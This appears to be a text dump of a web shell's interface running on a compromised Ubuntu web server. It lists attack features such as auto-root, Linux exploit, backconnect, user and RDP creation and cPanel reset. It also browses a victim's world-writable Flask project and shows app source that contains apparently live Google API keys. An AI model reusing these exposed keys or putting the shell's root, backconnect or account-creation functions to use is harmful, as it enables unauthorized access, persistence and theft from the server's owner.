Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
meetwize /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxrwxrwx
static
[ DIR ]
drwxrwxrwx
templates
[ DIR ]
drwxrwxrwx
venv
[ DIR ]
drwxr-xr-x
website
[ DIR ]
drwxrwxrwx
xyz-main
[ DIR ]
drwxr-xr-x
Meetwise.zip
4.87
MB
-rw-r--r--
app.py
8.07
KB
-rw-rw-rw-
lstm_model.py
4.63
KB
-rw-rw-rw-
maps.py
597
B
-rw-rw-rw-
model_state.pth
5.2
MB
-rw-rw-rw-
mydb.db
84
KB
-rw-rw-rw-
requirements.txt
146
B
-rw-rw-rw-
tempCodeRunnerFile.py
8.88
KB
-rw-rw-rw-
vocab.json
55.22
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tempCodeRunnerFile.py
# app.py import numpy as np import time import json import requests from flask import Flask, request, render_template from sqlalchemy import create_engine, Column, String from sqlalchemy.ext.declarative import declarative_base # or sqlalchemy.orm.declarative_base() if preferred from sqlalchemy.orm import sessionmaker from flask_sqlalchemy import SQLAlchemy # Import our LSTM model functions from lstm_model import load_model, predict_sentiment # ------------------------------------------- # SQLAlchemy Database Setup and Models # ------------------------------------------- Base = declarative_base() class maplocation: def __init__(self, name, latitude, longitude): self.name = name self.latitude = latitude self.longitude = longitude class Person(Base): __tablename__ = "Database" name = Column("name", String, primary_key=True) vicinity = Column("Vicinity", String, nullable=True) Type = Column("Type", String, nullable=True) latitude = Column("Latitude", String, nullable=True) longitude = Column("Longitude", String, nullable=True) rating = Column("rating", String, nullable=True) reviews = Column("reviews", String, nullable=True) place_id = Column("place_id", String, nullable=True) sentiment = Column("Sentiment", String, nullable=True) def __init__(self, name, vicinity, Type, latitude, longitude, rating, reviews, place_id, sentiment): self.name = name self.vicinity = vicinity self.Type = Type self.latitude = latitude self.longitude = longitude self.rating = rating self.reviews = reviews self.place_id = place_id self.sentiment = sentiment def __repr__(self): return f"({self.name})({self.vicinity})({self.Type})({self.latitude})({self.longitude})({self.rating})({self.reviews})({self.place_id})({self.sentiment})" # Create database engine and session engine = create_engine("sqlite:///mydb.db", echo=True) Base.metadata.create_all(bind=engine) Session = sessionmaker(bind=engine) # ------------------------------------------- # API Keys and Model Loading # ------------------------------------------- # Replace these with your actual API keys places_api_web_service = 'AIzaSyCztZNSls0oSkmLXe3FNjLilCA7xIp4Ork' geocoding_api = 'AIzaSyA3cUamax65N5NLxuSF4EXuV6DGGMxDNXQ' # Load the LSTM model, vocabulary, and sequence length model, vocab, seq_length = load_model('model_state.pth', 'vocab.json') # ------------------------------------------- # Helper Function: Get Lat/Long from Address # ------------------------------------------- def latlong(loc1): current_loc = loc1.replace(" ", "+") geocode_url = f"https://maps.googleapis.com/maps/api/geocode/json?address={current_loc}&key={geocoding_api}" response1 = requests.get(geocode_url) data = response1.json() try: current_lat = data['results'][0]['geometry']['location']['lat'] current_long = data['results'][0]['geometry']['location']['lng'] print(f"[DEBUG] Geocoded '{loc1}' to: ({current_lat}, {current_long})") except (IndexError, KeyError) as e: print(f"[ERROR] Failed to geocode '{loc1}': {e}") current_lat, current_long = 0, 0 return current_lat, current_long # ------------------------------------------- # Flask App Setup and Routes # ------------------------------------------- app = Flask(__name__) app.static_folder = 'static' User = [] # Global list to store user locations for the maps page @app.route("/") def Home(): return render_template('index.html') @app.route("/", methods=["POST"]) def result(): # Extract friend locations and the type from the form submission. friend_location = np.array([x for x in request.form.values()][1:]) pause = 0.1 max_api_requests = 150000 api_requests_count = 0 radius = 5000 current_lat = 0 current_long = 0 number_of_users = friend_location.size - 1 global User User = [] typ = friend_location[number_of_users] print(f"[DEBUG] Friend locations: {friend_location[:-1]}, Type: {typ}") # Process each friend location: geocode and accumulate coordinates. for j in range(number_of_users): current_lat1, current_long1 = latlong(friend_location[j]) User.append(maplocation(friend_location[j], current_lat1, current_long1)) current_lat += current_lat1 current_long += current_long1 url = "https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=" if api_requests_count < max_api_requests: time.sleep(pause) api_requests_count += 1 avg_lat = current_lat / number_of_users if number_of_users > 0 else 0 avg_long = current_long / number_of_users if number_of_users > 0 else 0 reverse_geocode_url = ( url + f"{avg_lat},{avg_long}" + f"&radius={radius}" + f"&type={typ}" + f"&key={places_api_web_service}" ) print(f"[DEBUG] Reverse geocode URL: {reverse_geocode_url}") response = requests.get(reverse_geocode_url) data = response.json().get("results", {}) if len(data) > 0: resp_address = data name = [] types = [] rating = [] lat = [] lng = [] place_id_array = [] vicinity = [] review = [] Sentiment = [] # For each result, retrieve details and analyze reviews. for i in range(len(resp_address)): place_idd = resp_address[i]['place_id'] print(f"[DEBUG] Processing place {i}: {resp_address[i].get('name')}") params = { "place_id": place_idd, "key": places_api_web_service, # Ensure using correct API key here if needed "fields": "reviews,rating" } base_url = "https://maps.googleapis.com/maps/api/place/details/json" response = requests.get(base_url, params=params) place_details = response.json().get("result", {}) rat = place_details.get("rating", None) print(f"[DEBUG] Retrieved rating for {resp_address[i].get('name')}: {rat}") rating.append(rat) count = 0 rev = place_details.get("reviews", []) revrat = [] if not rev: print(f"[DEBUG] No reviews found for {resp_address[i].get('name')}") for j in range(len(rev)): review_text = rev[j]['text'] revrat.append(review_text) prediction = predict_sentiment(review_text, model, vocab, seq_length) print(f"[DEBUG] Review {j} for {resp_address[i].get('name')}:\n Text: {review_text}\n Predicted sentiment: {prediction}") count += prediction print(f"[DEBUG] Total sentiment count for {resp_address[i].get('name')}: {count}") Sentiment.append(count) review.append(revrat) name.append(str(resp_address[i]['name'])) types.append(resp_address[i]['types']) lat.append(resp_address[i]['geometry']['location']['lat']) lng.append(resp_address[i]['geometry']['location']['lng']) place_id_array.append("https://www.google.com/maps/place/?q=place_id:" + place_idd) vicinity.append(resp_address[i]['vicinity']) else: print("[ERROR] No data returned from nearby search.") resp_address = [] # Store the place details in the database session = Session() try: # Clear previous entries session.query(Person).delete() session.commit() print("[DEBUG] Cleared previous database entries.") except Exception as e: session.rollback() print(f"[ERROR] Failed to clear the table: {e}") for j in range(len(resp_address)): try: person = Person( name=str(name[j]), Type=str(types[j]), rating=str(rating[j]), latitude=str(lat[j]), longitude=str(lng[j]), place_id=str(place_id_array[j]), vicinity=str(vicinity[j]), reviews=str(review[j]), sentiment=str(Sentiment[j]) ) session.add(person) session.commit() print(f"[DEBUG] Inserted record for {name[j]}") except Exception as e: session.rollback() print(f"[ERROR] Failed to insert data for index {j}: {e}") query_asc = session.query(Person).order_by(Person.sentiment.desc()) return render_template('result.html', allrecords=query_asc) @app.route("/maps") def maps(): details = request.args.get('details') mapper = User if details: name, latitude, longitude = details.split(',') latitude = float(latitude) longitude = float(longitude) mapper.append(maplocation(name, latitude, longitude)) return render_template('maps.html', details=mapper) if __name__ == "__main__": app.run(debug=True)
Close